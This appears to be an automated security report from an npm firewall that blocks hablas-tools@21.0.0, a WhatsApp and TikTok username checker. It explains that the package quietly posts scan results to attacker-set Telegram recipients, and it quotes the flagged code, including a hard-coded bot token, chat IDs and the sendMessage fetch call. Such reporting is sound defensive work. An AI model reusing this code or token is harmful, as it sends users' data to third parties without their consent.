Loading npm security reports…

hablas-tools@21.0.0: Malicious npm security report (Block) | LPM Firewall

registry / hablas-tools / 21.0.0

hablas-tools@21.0.0

Yusratak — Username Intelligence Suite — TikTok engine v2 (English UI, oEmbed, banned-name detection, smart proxy pool) + WhatsApp multi-lane checker

AI Security Review

scanned 4h ago · by lpm-firewall-ai

When the user starts the WhatsApp scanner and connects it, the package sends scan metadata and discovered usernames to package-selected Telegram recipients. The destination defaults are embedded and cannot be disabled through the passed workspace config.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

User invokes the CLI, selects WhatsApp scanning, and connects a WhatsApp account.

Impact

Third parties receive discovered usernames, scan progress/statistics, and the local working-folder name without user-selected recipients.

Mechanism

Hard-coded Telegram notification exfiltration during scanner operation.

Attack narrative

The package’s user-invoked WhatsApp scanner establishes a linked-device session, then automatically sends scan-start, completion, and discovered-username events through a Telegram bot to recipient IDs embedded by the package author. The notification routine disregards its config argument and selects embedded defaults, so users do not choose or opt into these recipients. This is concrete third-party disclosure of scanner results and local folder metadata; source inspection did not establish transmission of the WhatsApp credential files themselves.

Rationale

The source implements automatic third-party reporting to package-controlled Telegram recipients during normal scanner use. That unconsented disclosure is a concrete data-exfiltration behavior despite the absence of install-time execution.

Evidence

package.jsonbin/cli.jstools/whatsapp/cli.jstools/whatsapp/workspace.jstools/whatsapp/auth.jsyusratak.jsonauth_info/

Source & flagged code

8 flagged · loading source

tools/smart.jsView file

13L14: const { whatsappRun } = require('./whatsapp/cli'); L15:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

28function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

tools/whatsapp/workspace.jsView on unpkg · L28

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/checker.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/tiktok/checker.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/checker.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/whatsapp/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg

Source & flagged code

8 flagged

tools/smart.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2'use strict';

3

4/**

5 * HABLAS — Smart Auto-Detect Router v2

6 *

7 * `ht` — just starts scanning in the current directory.

8 * No folder creation, no questions. Runs right here.

9 *

10 * If yusratak.json exists → use saved settings

11 * If not → use defaults (insane speed, doubled, 3-char, full charset)

12 */

13

14const { whatsappRun } = require('./whatsapp/cli');

15

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

16async function smartRun(extraArgs) {

17 // Just run WhatsApp checker in the current directory

18 await whatsappRun(extraArgs);

19}

20

21module.exports = { smartRun };

22

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

Lines 8-48javascript

8 * auth_info/ ← WhatsApp auth

9 * data/ ← scan results

10 *

11 * Telegram bot with 2 roles:

12 *

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/checker.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/tiktok/checker.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/checker.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/whatsapp/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@20.1.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:20.1.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg